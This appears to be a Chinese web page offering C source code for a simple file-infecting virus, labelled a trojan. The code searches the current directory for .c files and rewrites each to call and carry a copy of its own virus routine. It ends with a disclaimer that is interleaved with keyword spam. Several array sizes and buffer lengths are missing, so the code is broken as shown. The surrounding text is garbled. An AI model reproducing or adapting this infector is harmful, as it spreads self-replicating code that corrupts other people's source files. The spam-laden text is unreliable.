1.c语言木马源代码
c语言木马源代码
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,安卓安卓*out,*read;
char *virus="virus.c";
char buf[][];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={ "stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=)
{
fclose(in);
goto next;
}
p=fgets(buf[i],,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，木马木马但如果用来做不法的源码源码wap手机自助建站源码事情，本人概不负责。完整完整还有，教程浓缩溯源码燕窝哪里有卖的编病毒、安卓安卓花前月下网易云代挂源码木马去做违法的木马木马事情惩罚是很重的，你如果想学编程，源码源码编个简单的完整完整就好了，否则后果很严重。教程
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